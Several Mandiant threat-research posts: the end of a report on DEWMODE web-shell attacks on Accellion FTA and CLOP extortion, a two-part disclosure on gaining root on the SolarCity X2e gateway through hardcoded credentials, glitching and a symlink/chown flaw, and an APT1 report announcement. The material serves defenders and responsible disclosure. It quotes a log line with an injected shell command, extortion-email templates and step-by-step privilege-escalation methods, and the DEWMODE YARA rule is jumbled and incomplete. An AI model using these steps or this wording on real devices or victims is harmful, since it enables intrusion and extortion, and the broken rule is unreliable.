An example of a cleanup request and subsequent execution of the cleanup script can be seen in Figure 6.

GET /courier/about.html?csrftoken=11454bd782bb41db213d415e10a0fb3c HTTP/1.1" 200 5 "-" "https://[REDACTED]//courier/about.html?aid=1000" "Mozilla/5.0 (X11; Linux x86_64; rv:82.0) Gecko/20100101

sft sudo:   nobody : TTY=unknown ; PWD=/home/seos/courier ; USER=root ; COMMAND=/usr/local/bin/ --mount_cifs=AF,DF,'$(sh /tmp/.scr)',PASSWORD

Figure 6: DEWMODE cleanup request

Mandiant also identified a variant of DEWMODE (bdfd11b1b092b7c61ce5f02ffc5ad55a) which contained minor changes to the cleanup operation, including wiping of /var/log/secure and removing about.html and oauth.api from the directories /home/httpd/html/ instead of /home/seos/courier/.

In a subset of incidents, Mandiant observed UNC2546 requesting a file named cache.js.gz (Figure 7). Based on temporal file access to the mysqldump utility and mysql data directories, the archive likely contained a dump of the database. With the exception of cache.js.gz, Mandiant has not observed UNC2546 acquiring files from Accellion appliances through any method besides DEWMODE.

GET //courier/cache.js.gz HTTP/1.1" 200 35654360 "-" "-" "python-requests/2.24.0" TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256

Figure 7: cache.js.gz file request

UNC2582 Data Theft Extortion

Shortly after installation of the web shell, in multiple cases within hours, UNC2546 leveraged DEWMODE to download files from compromised FTA instances. While the actors’ motivations were not immediately clear, several weeks after delivery of the DEWMODE web shell, victims began to receive extortion emails from an actor claiming association with the CLOP ransomware team (Figure 8 and Figure 9). The actors threatened to publish data on the "CL0P^_- LEAKS" .onion shaming website, unless the victim paid an extortion fee. We are tracking the subsequent extortion activity under a separate threat cluster, UNC2582. Despite tracking the exploitation and extortion activity in separate threat clusters we have observed at least one case where an actor interacted with a DEWMODE web shell from a host that was used to send UNC2582-attributed extortion email.


Your network has been hacked, a lot of valuable data stolen. We are the CLOP ransomware team, you can google news and articles about us. We have a website where we publish news and stolen files from companies that have refused to cooperate. Here is his address http://[redacted].onion/ - use TOR browser or http://[redacted] - mirror. We are visited by 20-30 thousand journalists, IT experts, hackers and competitors every day. We suggest that you contact us via chat within 24 hours to discuss the current situation. - use TOR browser We don't want to hurt, our goal is money. We are also ready to provide any evidence of the presence of files with us.

Figure 8: Extortion Note Template 1

This is the last warning!

If you don’t get in touch today, tomorrow we will create a page with screenshots of your files (like the others on our site),  send messages to all the emails that we received from your files. Due to the fact that journalists and hackers visit our site, calls and questions will immediately begin, online publications will begin to publish information about the leak, you will be asked to comment.

Do not let this happen, write to us in chat or email and we will discuss the situation!




Figure 9: Extortion Note Template 2

Based on observations at several engagements, UNC2582 appears to follow a pattern of escalation to pressure victims into paying extortion demands. Initial emails are sent from a free email account, likely unique per victim, to a seemingly limited distribution of addresses at the victim organization. If the victim does not respond in a timely manner, additional emails are sent to a much larger number of recipients from hundreds or thousands of different email accounts and using varied SMTP infrastructure. In at least one case, UNC2582 also sent emails  to partners of the victim organization that included links to the stolen data and negotiation chat. Monitoring of the CL0P^_- LEAKS shaming website has demonstrated that UNC2582 has followed through on threats to publish stolen data as several new victims have appeared on the site in recent weeks, including at least one organization that has publicly confirmed that their Accellion FTA device had been recently targeted.

Key Overlaps With FIN11

UNC2582 (Extortion) and FIN11

Mandiant identified overlaps between UNC2582’s data theft extortion activity and prior FIN11 operations, including common email senders and the use of the CL0P^_- LEAKS shaming site. While FIN11 is known for deploying CLOP ransomware, we have previously observed the group conduct data theft extortion without ransomware deployment, similar to these cases.

  • Some UNC2582 extortion emails observed in January 2021 were sent from IP addresses and/or email accounts used by FIN11 in multiple phishing campaigns between August and December 2020, including some of the last campaigns that were clearly attributable to the group.
  • We have not observed FIN11 phishing activity in the new year. FIN11 has typically paused their phishing operations over the winter holidays and had several extended gaps in their operations. However, the timing of this current hiatus is also consistent with UNC2582’s data theft extortion activity.
  • UNC2582 extortion emails contained a link to the CL0P^_- LEAKS website and/or a victim specific negotiation page. The linked websites were the same ones used to support historical CLOP operations, a series of ransomware and data theft extortion campaigns we suspect can be exclusively attributed to FIN11.

UNC2546 (FTA Exploitation and DEWMODE) and FIN11

There are also limited overlaps between FIN11 and UNC2546.

  • Many of the organizations compromised by UNC2546 were previously targeted by FIN11.
  • An IP address that communicated with a DEWMODE web shell was in the "Fortunix Networks L.P." netblock, a network frequently used by FIN11 to host download and FRIENDSPEAK command and control (C2) domains.


The overlaps between FIN11, UNC2546, and UNC2582 are compelling, but we continue to track these clusters separately while we evaluate the nature of their relationships. One of the specific challenges is that the scope of the overlaps with FIN11 is limited to the later stages of the attack life cycle. UNC2546 uses a different infection vector and foothold, and unlike FIN11, we have not observed the actors expanding their presence across impacted networks. We therefore have insufficient evidence to attribute the FTA exploitation, DEWMODE, or data theft extortion activity to FIN11. Using SQL injection to deploy DEWMODE or acquiring access to a DEWMODE shell from a separate threat actor would represent a significant shift in FIN11 TTPs, given the group has traditionally relied on phishing campaigns as its initial infection vector and we have not previously observed them use zero-day vulnerabilities.  


David Wong, Brandon Walters, Stephen Eckels and Jon Erickson

Indicators of Compromise (IOCs)

DEWMODE Web Shells







UNC2546 Source IP Addresses

The following source IP addresses were observed in multiple UNC2546 intrusions:



FireEye Detections

  • FE_Webshell_PHP_DEWMODE_1
  • FEC_Webshell_PHP_DEWMODE_1
  • Webshell.PHP.DEWMODE

Mandiant Security Validation

  • A101-515 Malicious File Transfer - DEWMODE Webshell, Upload, Variant #1
  • A101-516 Malicious File Transfer - DEWMODE Webshell, Upload, Variant #2


The following YARA rule is not intended to be used on production systems or to inform blocking rules without first being validated through an organization's own internal testing processes to ensure appropriate performance and limit the risk of false positives. This rule is intended to serve as a starting point for hunting efforts to identify DEWMODE payloads; however, it may need adjustment over time if the malware family changes.

        $s3 = ""
        $s4 = ""
        $s5 = ""
        $s6 = "target=\\\"_blank\\\">Download"
        $s7 = "Content-Type: application/octet-stream"
        $s8 = "Content-disposition: attachment; filename="
        all of them
rule DEWMODE_PHP_Webshell
        $s1 = /if \(isset\(\$_REQUEST\[[\x22\x27]dwn[\x22\x27]]\)[\x09\x20]{0,32}&&[\x09\x20]{0,32}isset\(\$_REQUEST\[[\x22\x27]fn[\x22\x27]\]\)\)\s{0,256}\{/
        $s2 = "

Shining a Light on SolarCity: Practical Exploitation of the X2e IoT Device (Part One)

17 Feb 2021

In 2019, Mandiant’s Red Team discovered a series of vulnerabilities present within Digi International’s ConnectPort X2e device, which allows for remote code execution as a privileged user. Specifically, Mandiant’s research focused on SolarCity’s (now owned by Tesla) rebranded ConnectPort X2e device, which is used in residential solar installations. Mandiant performs this type of work both for research purposes and in a professional capacity for their global clients.

Mandiant collaborated with Digi International and SolarCity/Tesla to responsibly disclose the results of the research, resulting in the following two CVEs:

Technical details can be found in Digi International’s software release, and on FireEye’s Vulnerability Disclosures GitHub project (FEYE-2020-0019 and FEYE-2020-0020).

This two-part blog series will discuss our analysis at a high level, explore the novel techniques used to gain initial access to the ConnectPort X2e device, and share the technical details of the vulnerabilities discovered. Topics to be covered will include physical device inspection, debugging interface probing, chip-off techniques, firmware analysis, glitch attacks, and software exploitation.

If you’re interested in continuing the story in Part Two, you can read it now.


What devices are affected, and (potentially) how many devices are affected?

The vulnerabilities described in this post affect ConnectPort X2e devices as well as the SolarCity rebranded variant. Other vendor devices may also be vulnerable. It is unclear how many ConnectPort X2e devices are deployed in the wild.

How is the issue being addressed?

Mandiant worked independently with Digi International and Tesla to remediate the vulnerabilities. Mandiant would like to thank Digi International and Tesla for their cooperation and dedication to improving the security of their products.

How would an attacker exploit these vulnerabilities?

An attacker with local network access (such as being connected to an individual’s home network via Ethernet) to a vulnerable X2e device can exploit CVE-2020-9306 and CVE-2020-12878 to gain privileged access to the device.

Who discovered these vulnerabilities?

Jake Valletta (@jake_valletta), Sam Sabetan (@samsabetan)

More information such as videos and datasheets on Mandiant’s Embedded Device Assessments can be found here.

Technical Analysis

Device Overview

Before diving into the details, we’ll discuss the ConnectPort X2e device (referred to as X2e device throughout the post) at a high level. The X2e device is a programmable gateway that connects to and collects data from ZigBee devices. It is commonly used as a Smart Energy gateway to interpret and send energy readings from a residential Solar Inverter. Vendors will often purchase an X2e device and configure it to read power consumption generated by a customer’s Solar Inverter. Figure 1 outlines a typical residential solar installation and highlights the X2e’s role.

Figure 1: Typical X2e residential deployment

For our research, we focused on the X2e device used by SolarCity, now Tesla, to retrieve data from residential solar installations. A typical setup would involve SolarCity providing a customer with a gateway that would be connected to the Internet via an Ethernet cable on the customer’s home network. Figure 2 shows one of the SolarCity branded X2e devices that we tested.

Figure 2: X2e device

Without even plugging in the X2e device, we know of at least two separate interfaces to explore: the Ethernet interface and the ZigBee radio. Note that we did not review the ZigBee interface between the X2e and a solar invertor, and that interface will not be covered in either Part One or Part Two of this series.

Initial Analysis and Physical Inspection

Network Reconnaissance

We started our research by assessing the X2e device from a network perspective. By using nmap, we discovered that the device exposed both SSH and HTTP/HTTPS, shown in Figure 3.

Figure 3: Port scan results from the X2e

Upon accessing these services remotely, we noted that both services required authentication. We also performed limited brute force attempts, which were unsuccessful. Additionally, the underlying services were not vulnerable to any public exploits. With not many network-based leads to follow, we shifted our analysis to a hardware perspective to determine if any local attacks may be possible to gain initial access onto the device.

Physical Board Inspection

To begin our hardware analysis, we removed the plastic casing from the device and mapped out the various integrated circuit (IC) components and searched for potential debugging interfaces. Inventorying the components present on the circuit board (also known as a PCB) is a crucial step in understanding how the device was designed and what can be expected down the road. Figure 4 shows the mapped-out components as well as a cluster of pins that resembled a typical 3-pin universal asynchronous transmit/receive (UART) connection, a common debugging interface on embedded devices.

Figure 4: X2e components and suspicious cluster of pins

Without a remote connection to the X2e device, UART is an attractive target. UART typically provides the equivalent functionality of a service like SSH or Telnet and the added benefit of watching verbose output during system boot. To determine if the cluster of pins was a UART interface, we first soldered a 3-pin through-hole header to the PCB. Using a combination of continuity tests with a multimeter and the digital logic analyzer Saleae, it became apparent that we were in fact dealing with a UART interface. The Figure 5 shows the three pins (Ground, TX, RX) connected to the header. Attached to the other end of the three wires was a FTDI serial TTL-232 to USB adapter, which was connected to a Linux virtual machine.

Figure 5: Connecting to potential UART interface

In addition to correctly identifying the UART pins and a UART to USB adapter, we also needed software to read/write from the interface as well as knowledge of the baud rate. Baud rates vary but typically follow standard values, including 9600, 14400, 19200, 38400, 57600, and 115200. Using the python module pySerial, we connected to the USB adapter and tried standard baud rates until one of the rates produced readable ASCII output (an incorrect baud rate will typically produce non-readable output), and determined the X2e used a baud rate of 115200.

Upon booting the X2e, we noted output from the BootROM, bootloader (which was Das U-Boot 2009.8, a common embedded bootloader), as well as output from the Linux kernel transmitted over the UART connection, shown in Figure 6.

Figure 6: UART boot messages

Many configurations of U-Boot allow a physically connected user (using an interface such as UART) the ability to interrupt the boot process; however, this configuration explicitly disabled that feature, shown in Figure 7.

Figure 7: Uninterruptable U-Boot bootloader on the X2e

Interrupting a bootloader is attractive to an attacker, as often the boot parameters passed to the Linux operating system can be manipulated to control how it will load, such as booting into single user mode (typically a recover shell) or mounting filesystems as read-write. In the case of the X2e, the UART connection was mapped to a Linux TTY which required username and password authentication, shown in Figure 8.

Figure 8: User authentication to Linux over UART

Without any ability to interrupt the boot process or credentials to authenticate to the X2e, we were faced with another dead end. We then shifted our analysis to obtaining the firmware stored on the X2e’s non-volatile storage.

Chip Removal and Data Extraction

In this section, we’ll cover the basics of non-volatile memory, often referred to as “flash memory”, present on embedded devices as well as the process used to extract content from the chip. As mentioned, taking inventory of the components on the PCB is an important first step. Figure 9 shows the suspected flash chip present on the PCB magnified under a digital microscope.

Figure 9: Closeup of Spansion flash

The visible markings seen in Figure 9 are important as they allow us to determine the manufacturer and model of the flash, which will assist us with obtaining the datasheet for the chip. In our case, the NAND we were dealing with was a Spansion S34ML01G1, and its datasheet could be found here.

NAND Overview

Before we talk about acquiring the firmware from the NAND chip, it’s important to first understand the various scenarios that embedded devices typically follow.

NAND verses NOR: These fundamentally different technologies each have their own benefits and drawbacks. NAND is cheap but suffers from high probability of “bad blocks,” or areas that are corrupt sometimes directly from the factory. As such, protections and considerations need to be present to be able to protect against this. NAND is also much faster to erase and write, making it ideal for storing file systems, kernels, and other pieces of code that may need to be reset or changed. NOR has significantly faster read times but is not as flexible with accessing data and has low erase and write speeds. NOR is usually used for low-level bootloaders, hardcoded firmware blobs, and other areas that are not expected to change frequently. The X2e uses a NAND flash.

Serial verses Parallel: This refers to how the data is accessed and is typically visually identifiable. If there are a large number of pins, the flash is likely parallel. Serial NOR chips can be small in size and typically need eight or fewer pins to function. Common serial interfaces are Serial Peripheral Interface (SPI) or Inter-Integrated Circuit (I2C), while a common parallel interface for NAND is Open NAND Flash Interface (ONFI2.0, ONFI3.0). The X2e is a parallel flash.

IC Form Factor: Another visually identifiable trait—form factor (or “package”)—refers to how the chip is attached to the PCB. There is a long list of options here, but common surface-mount flash packages include small outline package (SOP), thin outline small package (TOSP), or a variant of ball grid array (*BGA). The key distinction here is SOP and TOSP expose the pins, while BGA conceals the pins under the package. The X2e is BGA63, also referred to as a 63-pin BGA package.

Managed verses Unmanaged Flash: This one is more applicable to NAND, for reasons alluded to in the NAND verses NOR section. As stated, NAND needs help to manage the integrity of the data. With unmanaged NAND, the IC reserves sections of the flash (often called “spare” area) for someone else to manage the data. This is typically implemented as either a kernel driver or an external NAND controller. Managed NAND means that the IC package includes the controller and transparently manages the data. This is extremely common in embedded devices, as either embedded MMC (eMMC) or universal flash storage (UFS). The X2e uses unmanaged flash and is controlled by the main microcontroller present on the PCB.

With the basics out of the way, we proceeded with physically removing the chip from the PCB.

Chip Removal

Physical chip removal is considered a destructive approach but can certainly be performed without damaging the PCB or the flash chip itself. When presented with removal of BGA packages, the two most common removal techniques are either hot air or infrared light (IR). Commercial solutions exist for both hot air and IR, but cheaper options exist with hot air removal. We opted to use hot air on the X2e.

To minimize damage to the PCB and flash, a PCB heater or oven can be used to slowly bring the entire PCB to a temperature right below the solder melting point. This will reduce the amount of time we need to focus our hot air directly onto the flash IC and help with reducing the heat dissipation into the PCB throughout the process.

One final trick that can be used to minimize nearby chips from being damaged or lost (due to the air pressure) is the use of high-heat resistant tape, commonly referred to as Kapton tape. Figure 10 shows the PCB wrapped in Kapton tape to protect nearby components.

Figure 10: High-heat resistant tape on PCB

Figure 11 shows an example setup with the X2e PCB inserted into a PCB heater, with a hot air gun suspended over the IC.

Figure 11: Hot air rework/reflow station

While using the hot air to warm the IC and surrounding areas, we gently nudged the flash to see if the solder had become molten. Once the chip appeared to be floating, we quickly removed the chip and let it cool for about 30 seconds. Figure 12 shows the IC flash removed from the PCB, with the solder still present on the BGA pads.

Figure 12: NAND removed from X2e

Before inserting the NAND into a clam-shell chip reader, the leftover solder must be removed from the flash. This can be accomplished using a soldering iron, high-quality flux, and de-soldering wick. Once removed, isopropyl alcohol and a toothbrush are highly effective at removing the leftover flux residue and cleaning the chip.

In the next section, we’ll attempt to extract the data from the NAND chip using a multi-purpose chip programmer.

Data Extraction

With the cleaned flash chip in hand, we can now explore options for reading the raw contents. Commercial forensic acquisition devices exist, but a quick eBay or AliExpress search will produce a multitude of generic chip readers. One such device, the XGecu Pro, supports a variety of adapters and chipsets and connects to a Windows machine using USB. It also comes with software to interface with the XGecu Pro and can even auto-detect flash. To connect the Spansion NAND to the XGecu Pro, we also purchased a clamshell BGA63 adapter. Figure 13 shows the NAND inserted into the clamshell reader, and Figure 14 shows the clamshell adapter connected to the XGecu Pro device.

Figure 13: Spansion NAND in BGA clamshell adapter

Figure 14: NAND adapter connected to XGecu

Using the XGecu Pro software, we can read the entire contents of the flash to a binary file for further analysis. Since these are not commercial solutions, it is a good idea to perform two or three reads and then diff the extraction to confirm the content was read without errors.

Firmware Analysis

Cleaning and Mounting

With our fresh NAND dump in hand, the next step was to parse out any relevant firmware blobs, configurations, or filesystems. The go-to tool for starting this process is binwalk. binwalk does a fantastic job of detecting filesystems, bootloaders, and kernels. In addition, binwalk can calculate entropy (detecting packed or encrypted data) and identify assembly opcodes. Figure 15 shows partial output of running binwalk against the NAND dump.

Figure 15: Initial binwalk scan against NAND dump

We can see from the output that binwalk successfully identified what it believes are U-Boot uImage headers, Linux kernel images, and more than a dozen Journaling Flash File System version 2 (JFFS2) filesystems. JFFS2 is a common filesystem used in embedded devices; Unsorted Block Image File System (UBIFS) and SquashFS would also be common.

At first glance, the output appears to be promising; however, it is highly unlikely that there are actually that many JFFS2 filesystems present on our NAND. Another indication that something isn’t quite right are the hexadecimal offsets – they don’t appear to be clean, uniform offsets. It is far more common that the offsets of the items identified by binwalk would align with NAND page offsets, which are a multiple of 2048.

In order to understand what is occurring here, we need to revisit a characteristic of unmanaged (or “raw”) NAND ICs described in the NAND Overview section. To recap, raw NAND requires additional bytes per page for use by higher-level components to attest to the validity of the page, typically implemented as a defined “bad block” marker and a per-page (or subpage) Error-Correcting Code (ECC). Without going too deep into ECC fundamentals, ECC provides the ability for higher-level processes to detect n number of bad bits on a page and to correct m number of bits.

Since our goal here is not to perform forensics on the raw NAND, our immediate objective is to remove any ECC bytes or other non-data related bytes from the NAND dump. The MCU is ultimately the system manipulating the raw NAND, so understanding how our MCU, which was an NXP iMX28 series MCU, manages NAND is critical to being able to perform this.

Fortunately for us, this process has already been explored by the security community, and iMX parsing libraries exist to manipulate the raw NAND dump and remove existing extraneous data. Figure 16 shows the results of re-running binwalk on the output of the imx-nand-convert script.

Figure 16: binwalk scan of fixed NAND dump

This time, we see only one JFFS2 filesystem, at the very round offset of 0x880000. Using the extraction (-e) feature of binwalk, we can now obtain parsed versions of the U-Boot bootloader, Linux kernel, and JFFS2 system.

The final hurdle we need to overcome is mounting the extracted JFFS2 filesystem in a way that allows us to explore the contents. On Linux, the easiest way to perform this is to use the mtd, mtdblock, and nandsim kernel modules. The nandsim module simulates a given NAND device and uses the mtd and JFFS2 subsystems to parse and manage appropriately. The key piece of information that needs to be passed to the nandsim module is the ONFI chip identifier, which can be obtained from the NAND datasheet or by requesting the ID from the IC using a generic reader (like the XGecu Pro used in the Data Extraction section). A list of supported IDs is also provided by the mtd maintainers. Getting the parameters correct is a bit of luck and magic and may require you to compile your own version of the nandsim module; that process will not be covered in this post.

Figure 17 shows the steps required to simulate the correct Spansion NAND and mount the JFFS2 filesystem in the form of a Makefile target.

Figure 17: Makefile target to mount JFFS2 filesystem

By running make mount-jffs2, we can quickly prep and mount the JFFS2 filesystem and explore the contents as we would any filesystem.

Accessing the Filesystem

In the last section of this post, we’ll walk through our analysis of the JFFS2 filesystem. Remember that our end goal is to obtain a remotely exploitable bug that will permit privileged code execution. With that in mind, some areas of interest are running daemons/processes, system startup logic, and credentials for services listening on the network. The first stop was reviewing the /etc/shadow file to see if there were password hashes for the root user as well as other system users. A quick check of this file determined there was no password hash for the root user, which indicated we would not be able to authenticate using password authentication. We noticed that two other password hashes were present, for the addpd and python users, shown in Figure 18.

Figure 18: Connects of /etc/shadow

The addpd user had a weak default password but was unable to authenticate using remote methods, and we were ultimately unable to crack the python user’s hash using internal GPU-based servers.

Additionally, we were interested in processes that are launched during system boot or post-boot. The directory /WEB/python/ contained a ZIP archive called, which contained over 200 compiled Python scripts (PYC files), which were loaded on system boot. Using the decompiler uncompyle2, we unpacked these files for review. One file that stood out by name was password_manager.pyc, a file used to reset the login password upon successful boot-up. The file contained five hardcoded and plaintext credentials that mapped to the python system user. These credentials could be used to access the web interface and SSH, shown in Figure 19. Mandiant confirmed different passwords were used for different versions and connectivity states. Mandiant reported this to SolarCity and was assigned the CVE number CVE-2020-9306.

Figure 19: Hardcoded credentials in password_manager.pyc

With the correct password, we were finally able to connect to the web and SSH ports on a running X2e, but unfortunately only as the less-privileged python system user. While this was a great start, it didn’t satisfy our final objective, which was to remotely compromise the X2e as a privileged user. In Part Two of this blog series, we will explore additional avenues to further compromise the X2e.


In Part One of this two-part blog series, we covered an overview of the X2e, our initial network-based reconnaissance, PCB inspection techniques, physical debugging interface probing, chip-off techniques, and firmware analysis. Using these methodologies, we were successfully able to remotely compromise the X2e device as a non-administrative user due to hardcoded credentials (CVE-2020-9306). In Part Two, we will re-investigate physical attacks against the X2e in the form of glitch attacks, re-explore the U-Boot bootloader, and finally demonstrate an attack to remotely compromise the X2e device as a privileged user.

To continue reading, check out Part Two now

Mandiant Exposes APT1 – One of China's Cyber Espionage Units & Releases 3,000 Indicators

19 Feb 2013

Today, The Mandiant® Intelligence Center™ released an unprecedented report exposing APT1's multi-year, enterprise-scale computer espionage campaign. APT1 is one of dozens of threat groups Mandiant tracks around the world and we consider it to be one of the most prolific in terms of the sheer quantity of information it has stolen.

Highlights of the report include:

  • Evidence linking APT1 to China's 2nd Bureau of the People's Liberation Army (PLA) General Staff Department's (GSD) 3rd Department (Military Cover Designator 61398).
  • A timeline of APT1 economic espionage conducted since 2006 against 141 victims across multiple industries.
  • APT1's modus operandi (tools, tactics, procedures) including a compilation of videos showing actual APT1 activity.
  • The timeline and details of over 40 APT1 malware families.
  • The timeline and details of APT1's extensive attack infrastructure.

Mandiant is also releasing a digital appendix with more than 3,000 indicators to bolster defenses against APT1 operations. This appendix includes:

  • Digital delivery of over 3,000 APT1 indicators, such as domain names, and MD5 hashes of malware.
  • Thirteen (13) X.509 encryption certificates used by APT1.
  • A set of APT1 Indicators of Compromise (IOCs) and detailed descriptions of over 40 malware families in APT1's arsenal of digital weapons.
  • IOCs that can be used in conjunction with Redline™, Mandiant's free host-based investigative tool, or with Mandiant Intelligent Response® (MIR), Mandiant's commercial enterprise investigative tool.

The scale and impact of APT1's operations compelled us to write this report. The decision to publish a significant part of our intelligence about Unit 61398 was a painstaking one. What started as a "what if" discussion about our traditional non-disclosure policy quickly turned into the realization that the positive impact resulting from our decision to expose APT1 outweighed the risk of losing much of our ability to collect intelligence on this particular APT group. It is time to acknowledge the threat is originating from China, and we wanted to do our part to arm and prepare security professionals to combat the threat effectively. The issue of attribution has always been a missing link in the public's understanding of the landscape of APT cyber espionage. Without establishing a solid connection to China, there will always be room for observers to dismiss APT actions as uncoordinated, solely criminal in nature, or peripheral to larger national security and global economic concerns. We hope that this report will lead to increased understanding and coordinated action in countering APT network breaches.

We recognize that no one entity can understand the entire complex picture that many years of intense cyber espionage by a single group creates. We look forward to seeing the surge of data and conversations a report like this will likely generate.

Dan McWhorter

Managing Director, Threat Intelligence

Shining a Light on SolarCity: Practical Exploitation of the X2e IoT Device (Part Two)

17 Feb 2021

In this post, we continue our analysis of the SolarCity ConnectPort X2e Zigbee device (referred to throughout as X2e device). In Part One, we discussed the X2e at a high level, performed initial network-based attacks, then discussed the hardware techniques used to gain a remote shell on the X2e device as a non-privileged system user. In this segment, we’ll cover how we obtained a privileged shell on the device locally using power glitching attacks, and explore CVE-2020-12878, a vulnerability we discovered that permitted remote privilege escalation to the root user. Combined with CVE-2020-9306 (discussed in Part One), this would result in a complete remote compromise of the X2e device.

Technical Analysis


Before we dive into next steps, let’s recap where we left off:

  • The X2e has an exposed universal asynchronous transmit/receive (UART) interface, which allows a physically connected user to view (but not interrupt) the Das U-Boot (U-Boot) boot process, and given proper credentials, authenticate to the Linux operating system. Since we do not have root credentials, we put this thread on the backburner.
  • We have a full NAND dump of the Spansion raw flash, which includes boot configuration, bootloader firmware, filesystems, and the Linux kernel image. This was used previously in Part One to obtain the hardcoded credential for the python user.

Knowing that UART is present and access to the bootloader would be extremely valuable, we decided to revisit that thread.

Gaining Privileged Access Locally

Revisiting the Bootloader

Figure 1 shows the U-Boot boot process displayed while connected via UART connection. In some cases, it is possible to send keyboard input to the device during a set period (usually one to four seconds) when the bootloader presents the message, “Hit any key to stop autoboot,” which interrupts the boot process and drops the user into a U-Boot shell. On the X2e, this feature has been disabled by setting the U-Boot configuration parameter CONFIG_BOOTDELAY to 0.

Figure 1: Uninterruptable U-Boot bootloader output

One attack that has been documented to be successful to disrupt autoboot is to manipulate the bootloader’s ability to access the flash storage during the boot process. In certain circumstances where the U-Boot bootloader is unable to access its own configuration, it fails into a default environment, which may be less restricted. We decided to see if this would be possible on the X2e.

These attacks, known as glitch attacks (or more officially known as fault-injection), are a type of side channel attack that attempts to cause a microcontroller unit (MCU) to skip instructions, perform wrong instructions, or fail to access flash memory. Various types of glitching attacks exist including electrical, thermal, and radiation. Based on our objective, we opted to try glitching the power between the MCU and the Spansion NAND flash. Note that glitch attacks can often cause damage to the components on a board or put the device in an unusable state. These types of attacks should be tested as either a last resort or against a secondary device you are comfortable with damaging.

Glitching the Bootloader

Based on previous research in this domain, we opted to target the data lines (I/O) between the MCU and NAND flash. Recall from Part One that the NAND flash on the X2e was the Spansion S34ML01G1, which was a 63-pin ball grid array (BGA) package. This chip is capable of supporting both 8-bit and 16-bit bus width, which corresponds to the number of I/O lines utilized. By using the datasheet for the flash and then querying the ONFI Device ID of our chip, we determined our chip was utilizing the 8-bit configuration, meaning eight I/O lines were present between the NAND flash and the MCU. For this attack, we focused on manipulating the power on the first (I/O0) data line. Figure 2 shows the configuration of the BGA-63 pins, with I/O0 highlighted.

Figure 2: Identifying I/O0 for NAND chip in the Spansion datasheet

Because the pins are actually underneath the flash package, we needed to find an exposed lead that corresponded to I/O0 elsewhere on the PCB. One such method for tracing connections across a PCB is a continuity test. A continuity test (using a multimeter) sends a low current electrical signal across two points and produces an audible beep if the points are connected. Using this technique, we located an exposed test point (known as a via) on the bottom of the PCB. Figure 3 shows the I/O0 pin on the top of the PCB (under the NAND chip), and Figure 4 shows the I/O0 pin exposed on the bottom of the PCB.

Figure 3: I/O0 on top of PCB (under NAND chip)

Figure 4: I/O0 on bottom of PCB

With exposed access to I/O0 located, we experimented with connecting this pin directly to a known ground (GND) pin at various points during the boot process. Figure 5 shows the device powering on with the metal tweezers connecting I/O0 to GND.

Figure 5: Shorting I/O0 to GND

While connected to the UART interface, we noted several different outcomes. When shorting the pin immediately after powering on, the device failed to produce any output or boot. When shorting after the bootloader finished loading (and handing off to the Linux kernel), the device would also force reboot. However, when timed perfectly between the bootloader loading and attempting to read its configuration, we noted that the bootloader would present different output, and the option to interrupt the boot process was possible with a four-second delay. By pressing keyboard input, we were successfully able to drop into a U-Boot shell, which is shown in Figure 6.

Figure 6: Access to U-Boot bootloader shell

While this was great progress, we noted that the current failback bootloader configuration was completely inoperable and certain NAND blocks had been marked as bad (as expected). To get our device back to a working state, we needed to revisit the NAND dump we generated in Part One.

Repairing the Bootloader Configuration

While the current configuration provided us a working shell, we needed to fix the damage we had done. This was performed in two steps: fixing the mistakenly marked bad blocks and then rebuilding the configuration. In our case, the nand utility and its sub-commands read, write, and scrub allowed us to inspect and manipulate pages and blocks of the NAND. The nand scrub command with a valid offset and size could be used to completely reset a segment of the NAND, which removed any bad block markers. The next challenge was determining what needed to be replaced in the damaged blocks and rebuilding the configuration.

Since we had a valid NAND image, we revisited the sections read by the bootloader to determine what changes were needed. The format did not match a known format, so we wrote a simple parser in Python to read the binary structure, shown in Figure 7.

Figure 7: Parsing bootloader nvram configuration from flash

With details of how the configuration should look, we used the nand write to rebuild this section, byte by byte with the correct details. We also set the boot delay to be four seconds, so that we could always interrupt the bootloader once the new configuration was committed. Once we confirmed our changes were stable, we saved the configuration to flash and could access the bootloader without performing the aforementioned glitch attack.

Accessing Linux as root User

Now that we have unrestricted access to the bootloader, we can finally influence the rest of the boot process and achieve a privileged shell. We alluded to this in Part One, but the easiest way to turn an unlocked U-Boot shell into a root Linux shell is to adjust the boot arguments that U-Boot passes to the Linux kernel. In our case, this was accomplished by using the setenv utility to change the std_bootarg environment variable to be init=/bin/sh and instructing U-Boot to resume the standard boot process. Figure 8 shows the Linux shell presented over UART.

Figure 8: root shell after bootloader

At this point, we’ve demonstrated a repeatable method for achieving local privilege escalation. In the final segment, we’ll complete our attack by exploring an avenue to remotely escalate privileges.

Gaining Privileged Access Remotely

Since the X2e has only two available listening network services, it makes sense to reinvestigate these services. During Part One, we identified hardcoded credentials for the limited user python. This was useful for initial probing of the device while it was running, but where do we go from here?

Embedded devices typically only have a handful of users, with a majority of functionality being performed by the root user. This presents an interesting opportunity for us to abuse overlap between actions performed by the root user on contents owned and controlled by the python user.

By reviewing the boot process, we noted a large number of custom init scripts in the /etc/init.d/ directory. These scripts are executed at system start by the root user and were responsible for starting daemons and ensuring directories or files exist. One file in particular, /etc/init.d/, was interesting to us, as it appeared to perform a number of actions on files within the directory specified by the $PYTHON_HOME variable, which was /WEB/python/, shown in Figure 9.

Figure 9: Unsafe operations on $PYTHON_HOME directory

At first glance this may seem benign but considering that the /WEB/python/ directory is controllable by the python user, it means that we can potentially control actions taken by root. More specifically, the chown operation is dangerous, as the previous mkdir command can fail silently and result in an unsafe chown operation. To weaponize this, we can use symbolic links to point the /WEB/python/.ssh/ to other areas of the filesystem and coerce the root process into chown’ing these files to be owned by the python user. The process we took to exploit this was as follows:

  1. Authenticate over SSH using hardcoded python user credentials.
  2. Create a symbolic link, /WEB/python/.ssh, that points to /etc/init.d/.
  3. Reboot the X2e, forcing the system to re-execute /etc/init.d/
  4. After boot completes, create a malicious init script in /etc/init.d/ as the python user.
  5. Reboot the X2e, forcing the system to execute the new init script.

While not the cleanest approach (it requires two reboots), it accomplishes the goal of achieving code execution as root. Figure 10 shows the output of our proof of concept. In this case, our malicious init script spawned a bind shell on TCP port 8080, so that we could connect in as root.

Figure 10: Exploiting chown vulnerability to gain shell as user root

And there we have it: a remote connection as root, by abusing two separate vulnerabilities. While not explored in this series, another viable avenue of attack would be to explore potential vulnerabilities in the web server listening on TCP ports 80 and 443; however, this was not an approach that we took.


We covered a wide variety of topics in this two-part series, including:

  • Physical device inspection
  • Identifying and exploring physical debugging interfaces (UART)
  • Chip-off techniques to remove the NAND storage
  • Binary analysis of the filesystems and bootloader configurations
  • Power glitch attacks against the U-Boot bootloader
  • Linux user space privilege escalation

